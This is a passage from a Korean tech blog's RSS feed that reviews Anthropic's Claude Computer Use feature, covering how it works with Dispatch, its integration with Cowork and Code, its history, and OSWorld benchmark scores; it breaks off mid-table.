&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://newsletter.pragmaticengineer.com/p/how-claude-code-is-built&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Pragmatic Engineer: How Claude Code is built&lt;/a&gt; &amp;mdash; Claude Code 기술 스택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.reidbarber.com/blog/reverse-engineering-claude-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reid Barber: Reverse engineering Claude Artifacts&lt;/a&gt; &amp;mdash; Artifacts 렌더링 아키텍처&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://simonwillison.net/2025/Dec/10/html-tools/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison: Useful patterns for building HTML tools&lt;/a&gt; &amp;mdash; 실전 조언&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://xsoneconsultants.com/blog/chatgpt-canvas-vs-claude-artifacts/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;XsOne Consultants: ChatGPT Canvas vs Claude Artifacts&lt;/a&gt; &amp;mdash; 비교 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2025/12/18/vibe-coding-startup-lovable-raises-330m-at-a-6-6b-valuation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch: Lovable raises $330M&lt;/a&gt; &amp;mdash; 바이브 코딩 시장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.cloudflare.com/pages/platform/limits/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloudflare Pages: Limits&lt;/a&gt; &amp;mdash; 무료 호스팅 스펙&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AI 코딩</category>
      <category>ChatGPT Canvas 비교</category>
      <category>claude artifacts</category>
      <category>cloudflare pages</category>
      <category>react 렌더링</category>
      <category>시각화</category>
      <category>인라인 시각화</category>
      <category>제로 컨피그 배포</category>
      <category>클로드 아티팩트</category>
      <category>프론트엔드 자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/561</guid>
      <comments>https://goddaehee.tistory.com/561#entry561comment</comments>
      <pubDate>Wed, 25 Mar 2026 18:30:03 +0900</pubDate>
    </item>
    <item>
      <title>Claude Computer Use 리뷰 : AI가 내 컴퓨터를 조작한다 - 폰에서 지시하면 Mac이 혼자 일한다</title>
      <link>https://goddaehee.tistory.com/560</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 23일, Anthropic이 &lt;b&gt;Computer Use&lt;/b&gt;를 리서치 프리뷰로 공개했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2568&quot; data-origin-height=&quot;1458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4t9Qt/dJMb99Th6jB/SYotkHg9kIg0x78jUnkbyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4t9Qt/dJMb99Th6jB/SYotkHg9kIg0x78jUnkbyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4t9Qt/dJMb99Th6jB/SYotkHg9kIg0x78jUnkbyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4t9Qt%2FdJMb99Th6jB%2FSYotkHg9kIg0x78jUnkbyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2568&quot; height=&quot;1458&quot; data-origin-width=&quot;2568&quot; data-origin-height=&quot;1458&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;한마디로, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Claude가 사용자의 Mac 화면을 직접 보면서 마우스를 클릭하고 키보드를 치는 기능&lt;/b&gt;&lt;/span&gt;이다. 사람이 컴퓨터 앞에 앉아서 하는 것과 똑같은 방식으로 앱을 조작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;여기에 일주일 전 출시된 &lt;b&gt;Dispatch&lt;/b&gt;까지 결합되면 이야기가 달라진다. 출근길 지하철에서 폰으로 &quot;이메일 정리하고 보고서 써줘&quot; 한마디면, 집에 놓고 온 Mac에서 Claude가 알아서 화면을 띄우고 작업을 시작한다. 아무도 없는 빈 책상 위에서 컴퓨터가 혼자 돌아가는 셈이다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Computer Use 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Computer Use란 무엇인가&lt;/li&gt;
&lt;li&gt;Dispatch와의 시너지&lt;/li&gt;
&lt;li&gt;Cowork &amp;middot; Code 통합&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Computer Use의 진화
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2024년 10월: 첫 공개&lt;/li&gt;
&lt;li&gt;OSWorld 벤치마크 &amp;mdash; 14.9%에서 72.5%까지&lt;/li&gt;
&lt;li&gt;Vercept 인수&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;작동 원리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;커넥터 우선, 화면 제어 폴백&lt;/li&gt;
&lt;li&gt;스크린샷 기반 인식과 픽셀 카운팅&lt;/li&gt;
&lt;li&gt;자기 수정 능력&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설정 방법
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필수 조건&lt;/li&gt;
&lt;li&gt;Dispatch 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;활용 시나리오와 프롬프트 예시
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프롬프트 예시와 예상 동작&lt;/li&gt;
&lt;li&gt;적합한 작업 vs 아직 피해야 할 작업&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;안전성과 보안
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Permission-First 접근&lt;/li&gt;
&lt;li&gt;프롬프트 인젝션 방어&lt;/li&gt;
&lt;li&gt;AI Safety Level 평가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;현재 한계와 솔직한 평가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Anthropic이 인정한 제약사항&lt;/li&gt;
&lt;li&gt;플립북 방식의 한계&lt;/li&gt;
&lt;li&gt;플랫폼 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;경쟁 구도
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenAI, Google과의 데스크탑 제어 경쟁&lt;/li&gt;
&lt;li&gt;Anthropic이 먼저 출시한 이유&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;X(트위터): &quot;새로운 세계&quot;&lt;/li&gt;
&lt;li&gt;DEV Community: 실사용 체험기&lt;/li&gt;
&lt;li&gt;Reddit: 품질 vs 사용량 한도&lt;/li&gt;
&lt;li&gt;한국 커뮤니티&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;구독 플랜&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Computer Use 가이드&lt;/b&gt;&lt;br /&gt;Computer Use는 Claude가 사용자의 Mac 화면을 직접 보고, 마우스를 클릭하고, 키보드를 입력하여 작업을 수행하는 기능이다. 커넥터가 있는 앱은 커넥터를 먼저 사용하고, 없으면 화면을 직접 제어한다.&lt;br /&gt;2026년 3월 23일 리서치 프리뷰로 출시되었으며, macOS에서 Pro 또는 Max 구독자에게 제공된다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
&lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2036195789601374705&quot; style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot; allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Computer Use 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Computer Use 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Computer Use란 무엇인가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 23일, Anthropic은 Claude Cowork와 Claude Code에서 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Computer Use 기능을 리서치 프리뷰로 공개&lt;/b&gt;&lt;/span&gt;했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 공식 블로그의 표현을 빌리면:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Claude가 필요한 도구에 대한 접근 권한이 없을 때, 화면에 보이는 것을 직접 포인트하고, 클릭하고, 네비게이트하여 작업을 수행합니다. 파일을 열고, 브라우저를 사용하고, 개발 도구를 자동으로 실행할 수 있습니다 &amp;mdash; 별도의 설정이 필요 없습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; claude.com/blog/dispatch-and-computer-use (2026.3.23)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;정리하면 네 가지이다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;화면 인식:&lt;/b&gt; Claude가 스크린샷을 찍어 현재 화면 상태를 파악한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;마우스 &amp;middot; 키보드 제어:&lt;/b&gt; 커서를 이동하고, 클릭하고, 텍스트를 입력한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;앱 간 이동:&lt;/b&gt; 파일, 브라우저, 개발 도구 등 여러 앱을 넘나들며 작업한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커넥터 우선:&lt;/b&gt; Slack, Google Calendar 등 커넥터가 있으면 먼저 사용하고, 없을 때만 화면 제어로 전환한다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기존 AI 도구와의 차이&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 AI 비서는 전용 API나 도구를 통해서만 외부 서비스와 상호작용할 수 있었다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 &lt;b&gt;사람이 컴퓨터를 쓰는 것과 같은 방식&lt;/b&gt;으로 아무 소프트웨어나 조작할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 이를 &quot;도구를 모델에 맞추는 대신, 모델을 도구에 맞추는 것&quot;이라고 설명한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, 기존에는 AI가 사용할 수 있도록 앱마다 전용 API를 만들어야 했지만, Computer Use는 이미 있는 앱의 UI를 그대로 사용한다는 의미다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dispatch와의 시너지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use와 함께 공개된 &lt;b&gt;Dispatch&lt;/b&gt;는 &lt;b&gt;폰과 데스크탑 사이에 하나의 지속적인 대화 스레드를 유지&lt;/b&gt;하는 기능이다. 하기글 참고.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/558&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 두 기능이 결합되면 이런 시나리오가 가능해진다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;출근길 지하철에서 폰으로 Claude에게 &quot;오늘 아침 이메일 정리하고 주간 보고서 초안 작성해줘&quot;라고 지시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;집에 있는 Mac의 Claude가 화면을 직접 띄워 이메일 앱을 열고, 내용을 분석하고, 문서 앱에서 보고서를 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사무실에 도착하면 데스크톱에서 완성된 결과물을 확인하고 수정&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch를 통해 반복 작업을 스케줄링할 수도 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 블로그에 따르면 &quot;&lt;b&gt;매일 아침 이메일을 확인하거나 매주 특정 지표를 수집하도록&lt;/b&gt;&quot; 설정할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cowork &amp;middot; Code 통합&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 &lt;b&gt;Claude Cowork&lt;/b&gt;와 &lt;b&gt;Claude Code&lt;/b&gt; 두 제품 모두에서 사용할 수 있다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Claude Cowork&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Claude Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;대상 사용자&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;비개발자 지식 노동자&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;주요 용도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;문서 작업, 리서치, 파일 정리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;코드 작성, 테스트, PR 제출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;Computer Use 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;커넥터 없는 앱 조작, 데이터 수집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;IDE 조작, 브라우저 테스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;출시 시기&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 1월 (리서치 프리뷰)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2025년 5월 (GA)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork가 만들어진 계기가 재밌다. 마케팅이나 데이터 분석 팀이 &lt;b&gt;개발자용 Claude Code를 몰래(?) 쓰기 시작&lt;/b&gt;한 것이다. 복잡한 작업을 알아서 처리하는 게 매력적이었던 모양이다. Anthropic이 이걸 보고 비개발자 전용 인터페이스를 따로 만든 게 Cowork다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: Computer Use의 진화 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Computer Use의 진화&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2024년 10월: 첫 공개&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사실 Computer Use가 처음 나온 건 2024년 10월이다. &lt;b&gt;Claude 3.5 Sonnet&lt;/b&gt;과 함께 퍼블릭 베타로 공개됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;당시 기술 블로그를 보면, 개발 과정에서 가장 어려웠던 건 &lt;b&gt;픽셀 카운팅&lt;/b&gt;이었다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Claude는 화면에 보이는 스크린샷을 해석한 다음, 올바른 위치를 클릭하기 위해 가로 또는 세로로 몇 픽셀을 이동해야 하는지 계산합니다. Claude가 픽셀을 정확히 세는 훈련이 핵심이었습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; anthropic.com/news/developing-computer-use&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;훈련 과정도 독특하다. Anthropic은 안전상의 이유로 &lt;b&gt;인터넷 접속 없이 계산기와 텍스트 에디터 같은 간단한 소프트웨어만으로 훈련&lt;/b&gt;시켰다. 그런데 이것만으로도 Claude는 범용적인 컴퓨터 조작 능력을 익혔다. 프롬프트를 받으면 단계별로 쪼개서 실행하는 식이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OSWorld 벤치마크 &amp;mdash; 14.9%에서 72.5%까지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;얼마나 좋아졌는지는 &lt;b&gt;OSWorld 벤치마크&lt;/b&gt; 수치를 보면 바로 와닿는다. OSWorld는 AI에게 실제 데스크톱에서 버튼 클릭, 폼 작성, 여러 단계에 걸친 작업 완수 같은 과제를 주고 성공률을 측정한다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;시기&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;OSWorld 점수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2024년 10월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Claude 3.5 Sonnet&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;14.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2024년 10월 (차점자)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;경쟁 모델&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;7.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 2월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Claude Sonnet 4.6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;72.5%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 2월&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Claude Opus 4.6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;72.7%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;2026년 2월 (경쟁사)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;GPT-5.2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;47.3% **&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;참고&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;인간 수준&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;72.36% (OSWorld 공식)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
